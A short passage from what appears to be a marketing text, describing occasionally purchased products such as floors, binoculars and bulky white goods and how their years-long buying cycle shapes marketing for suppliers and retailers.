Or of more precisely products purchased occasionally. This group of products is very specific from the buying pattern point of view, and, consequently, in the way of marketing it. First of all, it is purchased no more than every few years, in extreme every 12-15 years. The examples are floors, binoculars or bulky items in white goods.
Such a buying pattern has many consequences both for the supplier as well as for the retailer. It is a result of the buying habit.
